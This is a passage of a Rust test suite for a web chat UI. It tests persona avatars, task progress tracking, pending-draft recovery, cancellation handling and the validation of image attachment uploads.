14793 assert_eq!(ct, "image/png", "data URI");
14794
14795 for p in ["misato", "asuka", "shinji", "magi"] {
14796 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14797 assert_eq!(
14798 (status, ct.as_str(), csp),
14799 (StatusCode::OK, "image/svg+xml", true),
14800 "{p}"
14801 );
14802 assert!(body.starts_with(b"<svg"), "{p}");
14803 }
14804 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14806 assert_eq!(ct, "image/svg+xml");
14807 }
14808
14809 #[tokio::test]
14810 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14811 let oversized = format!(
14812 "data:image/png;base64,{}",
14813 "A".repeat(persona_icon::ICON_MAX_BYTES)
14814 );
14815 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14816 let extra = format!(
14817 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14818 );
14819 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14820 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14821 .await
14822 .expect("detail with invalid icon");
14823 assert!(detail.personas.iter().any(|p| p.id == "custom"));
14824 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14825 assert_eq!(status, StatusCode::OK);
14826 assert_eq!(ct, "image/svg+xml");
14827 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14828 let Json(view) = talk_persona(
14829 State(Arc::clone(&ui)),
14830 Path(id.clone()),
14831 Json(TalkPersona {
14832 persona: "custom".into(),
14833 }),
14834 )
14835 .await
14836 .expect("persona switch with invalid icon");
14837 assert_eq!(view.talk.persona, "custom");
14838 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14839 }
14840 }
14841
14842 #[tokio::test]
14843 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14844 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14845 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14846 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14847 assert_eq!(
14848 (status, ct.as_str(), nosniff, csp),
14849 (StatusCode::OK, "image/svg+xml", true, true)
14850 );
14851 }
14852
14853 #[tokio::test]
14854 async fn the_talk_view_carries_server_built_avatar_urls_only() {
14855 let (_t, _h, ui, id, _repo) =
14856 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14857 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14858 .await
14859 .expect("detail");
14860 let json = serde_json::to_string(&detail).unwrap();
14861 assert!(
14862 !json.contains("secret"),
14863 "the icon setting must not leak: {json}"
14864 );
14865 assert!(
14866 detail
14867 .view
14868 .persona_avatar
14869 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14870 );
14871 assert_eq!(
14872 detail.view.operator_avatar,
14873 format!(
14874 "/avatars/operator.svg?v={}",
14875 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14876 )
14877 );
14878 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14879 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14880 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14881 assert!(rei.avatar.contains("persona=rei&v="));
14882 assert_ne!(
14883 rei.avatar.split("&v=").nth(1),
14884 plain.avatar.split("&v=").nth(1)
14885 );
14886 }
14887
14888 #[tokio::test]
14889 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14890 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14891 let cfg = config_for(&repo).await.unwrap();
14892 for arrived in [false, true] {
14893 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14894 let observed = ui.queued_generation(&id);
14895 let talk = ui.talks.get(&id).unwrap();
14896 if arrived {
14897 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14898 }
14899 let mut settling = std::pin::pin!(settle_settings_turn(
14900 talk,
14901 ui.talks.clone(),
14902 cfg.clone(),
14903 id.clone(),
14904 turn,
14905 observed
14906 ));
14907 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14908 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14909 assert_eq!(first.is_pending(), arrived);
14910 if arrived {
14911 assert!(!settling.await);
14912 }
14913 assert!(!ui.is_thinking(&id));
14914 }
14915 }
14916
14917 #[tokio::test]
14918 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14919 let tmp = TempDir::new().expect("tempdir");
14920 let repo = tmp.path().join("repo");
14921 std::fs::create_dir_all(&repo).expect("repo dir");
14922 std::fs::write(
14923 repo.join("magi.toml"),
14924 format!(
14925 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14926 ),
14927 )
14928 .expect("write magi.toml");
14929 let home = TempDir::new().expect("temp home");
14930 let talks = Talks::at(home.path().join("talks"));
14931 let ui = Arc::new(
14932 Ui::new(
14933 Queue::at(home.path().join("queue")),
14934 Questions::at(home.path().join("questions")),
14935 talks.clone(),
14936 home.path().join("runs"),
14937 home.path().to_path_buf(),
14938 repo.clone(),
14939 )
14940 .with_worktrees_root(home.path().join("wt")),
14941 );
14942 let cfg = config_for(&repo).await.expect("discover config");
14943 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14944 let id = talk.id.clone();
14945 let call = |persona: &str| {
14946 talk_persona(
14947 State(Arc::clone(&ui)),
14948 Path(id.clone()),
14949 Json(TalkPersona {
14950 persona: persona.to_owned(),
14951 }),
14952 )
14953 };
14954
14955 let unknown = call("nobody").await.expect_err("unknown persona");
14956 assert_eq!(
14957 unknown.status,
14958 StatusCode::BAD_REQUEST,
14959 "{}",
14960 unknown.message
14961 );
14962
14963 {
14964 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14967 let busy = call("rei").await.expect_err("busy talk");
14968 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14969 assert!(
14970 busy.message.contains("a talk turn is running"),
14971 "{}",
14972 busy.message
14973 );
14974 drop(guard);
14975 }
14976 assert_eq!(talks.get(&id).expect("reload").persona, "");
14977
14978 let Json(view) = call("gendo").await.expect("switch to a configured persona");
14979 assert_eq!(view.talk.persona, "gendo");
14980 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14981 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14982 for chosen in ["default", "gendo", "rei", "gendo"] {
14984 let Json(view) = call(chosen).await.expect("immediate consecutive change");
14985 assert!(!view.thinking);
14986 assert!(!ui.is_thinking(&id));
14987 }
14988
14989 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14990 .await
14991 .expect("detail");
14992 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14993 assert_eq!(ids.first(), Some(&"default"));
14994 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14995
14996 let Json(view) = call("default").await.expect("back to default");
14997 assert_eq!(view.talk.persona, "");
14998
14999 let mut closed = talks.get(&id).expect("reload");
15000 talk::close(&mut closed, &talks).expect("close");
15001 let refused = call("rei").await.expect_err("closed talk");
15002 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15003 assert!(
15004 refused.message.contains("takes no more turns"),
15005 "{}",
15006 refused.message
15007 );
15008 }
15009
15010 #[tokio::test]
15011 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15012 let f = Fixture::start().await;
15013 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15014 let queue = f.queue();
15015 let mut mine = Task::new(
15016 "rename the loader".to_owned(),
15017 "rename the loader".to_owned(),
15018 PathBuf::from("/repo/magi"),
15019 Source::Agent {
15020 run: talk_id.clone(),
15021 node: "chat".to_owned(),
15022 },
15023 );
15024 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15025 assert_eq!(empty["task_progress"]["state"], "none");
15026 assert_eq!(empty["task_progress"]["total"], 0);
15027 queue.put(&mut mine).expect("file the task");
15028 let mut theirs = Task::new(
15029 "unrelated".to_owned(),
15030 "unrelated".to_owned(),
15031 PathBuf::from("/repo/magi"),
15032 Source::Human,
15033 );
15034 theirs.origin_chat = Some(talk_id.clone());
15036 queue.put(&mut theirs).expect("file the task");
15037
15038 let res = f.get(&format!("/api/talks/{talk_id}")).await;
15039 assert_eq!(res.status, 200, "{}", res.body);
15040 let body = res.json();
15041 assert_eq!(
15042 body["status"], "open",
15043 "filing a task does not close a talk"
15044 );
15045 let tasks = body["tasks"].as_array().expect("tasks array");
15046 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15047 assert_eq!(tasks[0]["id"], mine.id);
15048 for status in [
15049 TaskStatus::Queued,
15050 TaskStatus::Running,
15051 TaskStatus::Held,
15052 TaskStatus::Failed,
15053 TaskStatus::Blocked,
15054 TaskStatus::Parked,
15055 TaskStatus::Done,
15056 TaskStatus::Queued,
15057 ] {
15058 mine.status = status;
15059 queue.put(&mut mine).expect("update status");
15060 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15061 let progress = &detail["task_progress"];
15062 assert_eq!(progress["total"], 1);
15063 assert_eq!(progress["counts"][status.as_str()], 1);
15064 assert_eq!(detail["tasks"][0]["status"], status.as_str());
15065 assert_eq!(detail["status"], "open", "completion never closes the chat");
15066 if status == TaskStatus::Done {
15067 assert_eq!(progress["state"], "complete");
15068 assert_eq!(progress["done"], 1);
15069 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15070 } else {
15071 assert_eq!(progress["state"], "incomplete");
15072 assert_eq!(progress["done"], 0);
15073 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15074 }
15075 }
15076 }
15077
15078 #[test]
15079 fn talk_task_progress_counts_mixed_statuses() {
15080 let mut tasks: Vec<_> = [
15081 TaskStatus::Queued,
15082 TaskStatus::Running,
15083 TaskStatus::Held,
15084 TaskStatus::Failed,
15085 TaskStatus::Blocked,
15086 TaskStatus::Parked,
15087 TaskStatus::Done,
15088 ]
15089 .into_iter()
15090 .map(|status| {
15091 let mut task = Task::new(
15092 "task".into(),
15093 "task".into(),
15094 PathBuf::from("/repo"),
15095 Source::Human,
15096 );
15097 task.status = status;
15098 task
15099 })
15100 .collect();
15101 let progress = talk_task_progress(&tasks);
15102 assert_eq!(progress.state, "incomplete");
15103 assert_eq!(progress.total, 7);
15104 assert_eq!(progress.done, 1);
15105 assert_eq!(progress.unfinished_ids.len(), 6);
15106 assert!(progress.counts.values().all(|count| *count == 1));
15107 assert_eq!(
15108 progress.unfinished_ids,
15109 tasks[..6]
15110 .iter()
15111 .map(|task| task.id.clone())
15112 .collect::<Vec<_>>()
15113 );
15114
15115 for task in &mut tasks {
15116 task.status = TaskStatus::Done;
15117 }
15118 let complete = talk_task_progress(&tasks);
15119 assert_eq!(complete.state, "complete");
15120 assert_eq!(complete.done, 7);
15121 assert!(complete.unfinished_ids.is_empty());
15122 tasks[0].status = TaskStatus::Queued;
15123 let requeued = talk_task_progress(&tasks);
15124 assert_eq!(requeued.state, "incomplete");
15125 assert_eq!(requeued.done, 6);
15126 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15127
15128 let empty = talk_task_progress(&[]);
15129 assert_eq!(empty.state, "none");
15130 assert_eq!(empty.total, 0);
15131 assert_eq!(empty.done, 0);
15132 assert!(empty.unfinished_ids.is_empty());
15133 assert!(empty.counts.values().all(|count| *count == 0));
15134 }
15135
15136 #[tokio::test]
15137 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15138 let (_tmp, _repo, f) = talk_fixture().await;
15139 let id = f.post("/api/talks", None).await.json()["id"]
15140 .as_str()
15141 .expect("id")
15142 .to_owned();
15143
15144 let res = f
15145 .post(
15146 &format!("/api/talks/{id}/say"),
15147 Some(r#"{"text":"what does the queue module do?"}"#),
15148 )
15149 .await;
15150 assert_eq!(res.status, 202, "{}", res.body);
15151 let queued = res.json();
15152 let turns = queued["turns"].as_array().expect("turns array");
15153 assert_eq!(
15154 turns.len(),
15155 1,
15156 "the answer reflects only what is on disk the instant it is sent, \
15157 before the agent's turn - which can run for the whole of \
15158 `[graph] timeout_talk` - has a chance to land: {queued}"
15159 );
15160 assert_eq!(turns[0]["who"], "operator");
15161 assert_eq!(turns[0]["body"], "what does the queue module do?");
15162 assert_eq!(
15163 queued["thinking"], true,
15164 "the accepted response exposes the background turn claim: {queued}"
15165 );
15166
15167 let mut turns_after = 1;
15168 for _ in 0..SETTLE_STEPS {
15169 let detail = f.get(&format!("/api/talks/{id}")).await.json();
15170 turns_after = detail["turns"].as_array().expect("turns array").len();
15171 if turns_after == 2 {
15172 break;
15173 }
15174 tokio::time::sleep(Duration::from_millis(10)).await;
15175 }
15176 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15177 }
15178
15179 #[tokio::test]
15206 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15207 let tmp = TempDir::new().expect("tempdir");
15208 let repo = tmp.path().join("repo");
15209 std::fs::create_dir_all(&repo).expect("repo dir");
15210 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15211 let home = TempDir::new().expect("temp home");
15212 let talks = Talks::at(home.path().join("talks"));
15213 let ui = Arc::new(
15214 Ui::new(
15215 Queue::at(home.path().join("queue")),
15216 Questions::at(home.path().join("questions")),
15217 talks.clone(),
15218 home.path().join("runs"),
15219 home.path().to_path_buf(),
15220 repo.clone(),
15221 )
15222 .with_worktrees_root(home.path().join("wt")),
15223 );
15224 let cfg = config_for(&repo).await.expect("discover config");
15225
15226 for delay in 0..40u32 {
15227 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15228 let id = talk.id.clone();
15229
15230 let handler = tokio::spawn(talk_say(
15231 State(Arc::clone(&ui)),
15232 Path(id.clone()),
15233 Ok(Json(NewTalkTurn {
15234 reply_to: None,
15235 text: "what does the queue module do?".to_owned(),
15236 attachments: Vec::new(),
15237 })),
15238 ));
15239 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
15240 handler.abort();
15241 let _ = handler.await;
15244
15245 let mut turns = 0;
15246 for _ in 0..SETTLE_STEPS {
15247 if let Ok(fresh) = talks.get(&id) {
15248 turns = fresh.turns.len();
15249 if turns != 1 {
15250 break;
15251 }
15252 }
15253 tokio::time::sleep(Duration::from_millis(10)).await;
15254 }
15255 assert_ne!(
15256 turns, 1,
15257 "delay {delay}: talk {id} recorded the operator's turn but \
15258 the agent never answered - the reply task was never \
15259 started after the handler future was dropped"
15260 );
15261 }
15262 }
15263
15264 #[tokio::test]
15309 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
15310 let tmp = TempDir::new().expect("tempdir");
15311 let repo = tmp.path().join("repo");
15312 std::fs::create_dir_all(&repo).expect("repo dir");
15313 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15314 let home = TempDir::new().expect("temp home");
15315 let talks = Talks::at(home.path().join("talks"));
15316 let ui = Arc::new(
15317 Ui::new(
15318 Queue::at(home.path().join("queue")),
15319 Questions::at(home.path().join("questions")),
15320 talks.clone(),
15321 home.path().join("runs"),
15322 home.path().to_path_buf(),
15323 repo.clone(),
15324 )
15325 .with_worktrees_root(home.path().join("wt")),
15326 );
15327 let cfg = config_for(&repo).await.expect("discover config");
15328
15329 for attempt in 0..3u32 {
15330 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15331 let id = talk.id.clone();
15332 let turn_guard = ui
15335 .begin_talk_turn(&id)
15336 .expect("claim the turn")
15337 .expect("a fresh talk owes nobody a turn");
15338
15339 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15340 let (release_tx, release_rx) = std::sync::mpsc::channel();
15341 ui.set_busy_queue_gate(BusyQueueGate {
15342 reached: reached_tx,
15343 release: release_rx,
15344 });
15345
15346 let handler = tokio::spawn(talk_say(
15347 State(Arc::clone(&ui)),
15348 Path(id.clone()),
15349 Ok(Json(NewTalkTurn {
15350 reply_to: None,
15351 text: "what does the queue module do?".to_owned(),
15352 attachments: Vec::new(),
15353 })),
15354 ));
15355
15356 tokio::time::timeout(Duration::from_secs(5), reached_rx)
15361 .await
15362 .unwrap_or_else(|_| {
15363 panic!(
15364 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15365 )
15366 })
15367 .expect("the busy branch dropped the gate without using it");
15368 assert!(
15369 crate::consult::try_publication_guard(&talks, &id)
15370 .expect("publication fence")
15371 .is_none(),
15372 "a queued worker cannot promote text before its successor reservation is published"
15373 );
15374
15375 let closing = Arc::clone(&ui.admissions).write_owned();
15379 tokio::pin!(closing);
15380 std::future::poll_fn(|cx| {
15381 assert!(closing.as_mut().poll(cx).is_pending());
15382 std::task::Poll::Ready(())
15383 })
15384 .await;
15385 assert!(
15386 ui.begin_admission().is_err(),
15387 "replacement blocks later admissions"
15388 );
15389
15390 let running = talks.get(&id).expect("reload talk");
15397 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15398
15399 handler.abort();
15403 let _ = handler.await;
15404 std::future::poll_fn(|cx| {
15405 assert!(
15406 closing.as_mut().poll(cx).is_pending(),
15407 "HTTP cancellation must not abandon a publishing transaction"
15408 );
15409 std::task::Poll::Ready(())
15410 })
15411 .await;
15412 assert!(
15413 crate::consult::try_publication_guard(&talks, &id)
15414 .expect("publication fence after disconnect")
15415 .is_none()
15416 );
15417
15418 let _ = release_tx.send(());
15424 drop(
15425 tokio::time::timeout(Duration::from_secs(5), closing)
15426 .await
15427 .expect("short admission transaction should release for replacement"),
15428 );
15429 assert!(
15430 crate::consult::try_publication_guard(&talks, &id)
15431 .expect("publication fence after acknowledgement")
15432 .is_some(),
15433 "the publication fence is not retained by the long response"
15434 );
15435
15436 let mut fresh = talks.get(&id).expect("reload talk");
15439 for _ in 0..SETTLE_STEPS {
15440 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15441 break;
15442 }
15443 tokio::time::sleep(Duration::from_millis(10)).await;
15444 fresh = talks.get(&id).expect("reload talk");
15445 }
15446 assert!(
15447 fresh.pending.is_empty() && fresh.turns.len() == 2,
15448 "attempt {attempt}: talk {id} left the operator's text queued \
15449 with no drainer - the reclaimed turn was dropped along with \
15450 the handler future (pending {:?}, {} turns)",
15451 fresh.pending,
15452 fresh.turns.len()
15453 );
15454 }
15455 }
15456
15457 #[tokio::test]
15458 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15459 let (_tmp, _repo, f) = talk_fixture().await;
15460 let id = f.post("/api/talks", None).await.json()["id"]
15461 .as_str()
15462 .expect("id")
15463 .to_owned();
15464 let store = f.talks();
15465 let mut recovered = store.get(&id).expect("opened talk");
15466 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15467 .expect("persist pending draft without a live turn");
15468
15469 let edited = f
15470 .post(
15471 &format!("/api/talks/{id}/pending/edit"),
15472 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15473 )
15474 .await;
15475 assert_eq!(edited.status, 200, "{}", edited.body);
15476 assert!(edited.json()["thinking"].as_bool().unwrap());
15477
15478 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15479 for _ in 0..SETTLE_STEPS {
15480 if detail["turns"].as_array().expect("turns").len() == 2 {
15481 break;
15482 }
15483 tokio::time::sleep(Duration::from_millis(10)).await;
15484 detail = f.get(&format!("/api/talks/{id}")).await.json();
15485 }
15486 let turns = detail["turns"].as_array().expect("turns");
15487 assert_eq!(
15488 turns.len(),
15489 2,
15490 "the recovered draft must run once: {detail}"
15491 );
15492 assert_eq!(turns[0]["body"], "corrected");
15493 assert_eq!(detail["pending"], "");
15494 }
15495
15496 #[tokio::test]
15497 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15498 let tmp = TempDir::new().expect("tempdir");
15499 let repo = tmp.path().join("repo");
15500 std::fs::create_dir_all(&repo).expect("repo dir");
15501 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15502 let f = Fixture::with_repo(repo).await;
15503 let id = f.post("/api/talks", None).await.json()["id"]
15504 .as_str()
15505 .expect("id")
15506 .to_owned();
15507 let store = f.talks();
15508 let mut recovered = store.get(&id).expect("opened talk");
15509 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15510 .expect("persist pending draft without a live turn");
15511
15512 let refused = f
15513 .post(
15514 &format!("/api/talks/{id}/say"),
15515 Some(r#"{"text":"new message"}"#),
15516 )
15517 .await;
15518 assert_eq!(refused.status, 409, "{}", refused.body);
15519 assert!(refused.body.contains("resume"), "{}", refused.body);
15520 let saved = store.get(&id).expect("draft remains after refusal");
15521 assert!(saved.turns.is_empty());
15522 assert_eq!(saved.pending, "saved before restart");
15523
15524 let say_path = format!("/api/talks/{id}/say");
15525 let (first, second) = tokio::join!(
15526 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15527 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15528 );
15529 assert_eq!(first.status, 409, "{}", first.body);
15530 assert_eq!(second.status, 409, "{}", second.body);
15531 let saved = store
15532 .get(&id)
15533 .expect("draft remains after concurrent refusals");
15534 assert!(saved.turns.is_empty());
15535 assert_eq!(saved.pending, "saved before restart");
15536
15537 let resumed = f
15538 .post(&format!("/api/talks/{id}/pending/resume"), None)
15539 .await;
15540 assert_eq!(resumed.status, 202, "{}", resumed.body);
15541 let duplicate = f
15542 .post(&format!("/api/talks/{id}/pending/resume"), None)
15543 .await;
15544 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15545
15546 for _ in 0..SETTLE_STEPS {
15547 if store.get(&id).expect("talk").turns.len() == 2 {
15548 break;
15549 }
15550 tokio::time::sleep(Duration::from_millis(10)).await;
15551 }
15552 let finished = store.get(&id).expect("finished talk");
15553 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15554 assert_eq!(finished.turns[0].body, "saved before restart");
15555 assert!(finished.pending.is_empty());
15556 }
15557
15558 #[tokio::test]
15559 async fn an_image_only_recovered_draft_resumes_without_text() {
15560 let (_tmp, _repo, f) = talk_fixture().await;
15561 let id = f.post("/api/talks", None).await.json()["id"]
15562 .as_str()
15563 .expect("id")
15564 .to_owned();
15565 let uploaded = f
15566 .post_bytes(
15567 &format!("/api/talks/{id}/attachments"),
15568 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15569 PNG_BYTES,
15570 )
15571 .await;
15572 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15573 let attachment = f
15574 .talks()
15575 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15576 .expect("attachment metadata")
15577 .expect("stored attachment");
15578 let store = f.talks();
15579 let mut recovered = store.get(&id).expect("opened talk");
15580 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15581
15582 let resumed = f
15583 .post(&format!("/api/talks/{id}/pending/resume"), None)
15584 .await;
15585 assert_eq!(resumed.status, 202, "{}", resumed.body);
15586 for _ in 0..SETTLE_STEPS {
15587 if store.get(&id).expect("talk").turns.len() == 2 {
15588 break;
15589 }
15590 tokio::time::sleep(Duration::from_millis(10)).await;
15591 }
15592 let finished = store.get(&id).expect("finished talk");
15593 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15594 assert!(finished.turns[0].body.is_empty());
15595 assert_eq!(finished.turns[0].attachments.len(), 1);
15596 assert!(finished.pending_attachments.is_empty());
15597 }
15598
15599 #[tokio::test]
15600 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15601 let (_tmp, _repo, f) = talk_fixture().await;
15602 let id = f.post("/api/talks", None).await.json()["id"]
15603 .as_str()
15604 .expect("id")
15605 .to_owned();
15606 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15607 assert_eq!(closed.status, 200, "{}", closed.body);
15608 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15609 .expect("serialize closed talk");
15610 for (path, body) in [
15611 (format!("/api/talks/{id}/pending/resume"), None),
15612 (
15613 format!("/api/talks/{id}/pending/clear"),
15614 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15615 ),
15616 (
15617 format!("/api/talks/{id}/pending/edit"),
15618 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15619 ),
15620 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15621 ] {
15622 let response = f.post(&path, body).await;
15623 assert_eq!(response.status, 409, "{}", response.body);
15624 }
15625 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15626 .expect("serialize closed talk");
15627 assert_eq!(
15628 after_clear, before_clear,
15629 "clear must not rewrite a closed talk"
15630 );
15631 }
15632
15633 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15636
15637 #[tokio::test]
15638 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15639 let tmp = TempDir::new().expect("tempdir");
15640 let repo = tmp.path().join("repo");
15641 std::fs::create_dir_all(&repo).expect("repo dir");
15642 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15643 let f = Fixture::with_repo(repo).await;
15644 let id_a = f.post("/api/talks", None).await.json()["id"]
15645 .as_str()
15646 .unwrap()
15647 .to_owned();
15648 let id_b = f.post("/api/talks", None).await.json()["id"]
15649 .as_str()
15650 .unwrap()
15651 .to_owned();
15652
15653 let a = f
15654 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15655 .await;
15656 assert_eq!(a.status, 202, "{}", a.body);
15657 assert_eq!(a.json()["thinking"], true);
15658 let b = f
15659 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15660 .await;
15661 assert_eq!(b.status, 202, "{}", b.body);
15662 assert_eq!(b.json()["thinking"], true);
15663
15664 let listed = f.get("/api/talks").await.json();
15665 for id in [&id_a, &id_b] {
15666 let view = listed
15667 .as_array()
15668 .unwrap()
15669 .iter()
15670 .find(|talk| talk["id"] == *id)
15671 .unwrap();
15672 assert_eq!(view["thinking"], true, "{listed}");
15673 }
15674 let repeated = f
15675 .post(
15676 &format!("/api/talks/{id_a}/say"),
15677 Some(r#"{"text":"again"}"#),
15678 )
15679 .await;
15680 assert_eq!(repeated.status, 202, "{}", repeated.body);
15681 assert_eq!(repeated.json()["pending"], "again");
15682 }
15683
15684 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15687
15688 #[tokio::test]
15689 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15690 let f = Fixture::start().await;
15691 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15692
15693 let res = f
15694 .post_bytes(
15695 &format!("/api/talks/{id}/attachments"),
15696 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15697 PNG_BYTES,
15698 )
15699 .await;
15700 assert_eq!(res.status, 201, "{}", res.body);
15701 let body = res.json();
15702 assert_eq!(body["name"], "shot.png");
15703 assert_eq!(body["mime"], "image/png");
15704 assert_eq!(body["bytes"], PNG_BYTES.len());
15705 let att_id = body["id"].as_str().expect("id").to_owned();
15706 assert_eq!(
15707 att_id.len(),
15708 32,
15709 "the id must never be a client-suppliable path: {att_id}"
15710 );
15711
15712 let got = f
15713 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15714 .await;
15715 assert_eq!(got.status, 200, "{}", got.body);
15716 assert_eq!(got.header("content-type"), Some("image/png"));
15717 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15718 assert_eq!(got.bytes, PNG_BYTES);
15719 }
15720
15721 #[tokio::test]
15722 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15723 let f = Fixture::start().await;
15724 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15725
15726 let svg = f
15729 .post_bytes(
15730 &format!("/api/talks/{id}/attachments"),
15731 &[("Content-Type", "image/svg+xml")],
15732 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15733 )
15734 .await;
15735 assert!(
15736 (400..500).contains(&svg.status),
15737 "svg must be refused: {} {}",
15738 svg.status,
15739 svg.body
15740 );
15741 assert!(svg.body.contains("SVG"), "{}", svg.body);
15742
15743 let text = f
15744 .post_bytes(
15745 &format!("/api/talks/{id}/attachments"),
15746 &[("Content-Type", "text/plain")],
15747 b"just some text",
15748 )
15749 .await;
15750 assert!(
15751 (400..500).contains(&text.status),
15752 "an unlisted type must be refused: {} {}",
15753 text.status,
15754 text.body
15755 );
15756
15757 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15760 let big = f
15761 .post_bytes(
15762 &format!("/api/talks/{id}/attachments"),
15763 &[("Content-Type", "image/png")],
15764 &oversized,
15765 )
15766 .await;
15767 assert_eq!(
15768 big.status,
15769 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15770 "{}",
15771 big.body
15772 );
15773 }
15774
15775 #[tokio::test]
15776 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15777 let f = Fixture::start().await;
15778 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15779
15780 let res = f
15783 .post_bytes(
15784 &format!("/api/talks/{id}/attachments"),
15785 &[("Content-Type", "image/png")],
15786 b"<html>not a picture</html>",
15787 )
15788 .await;
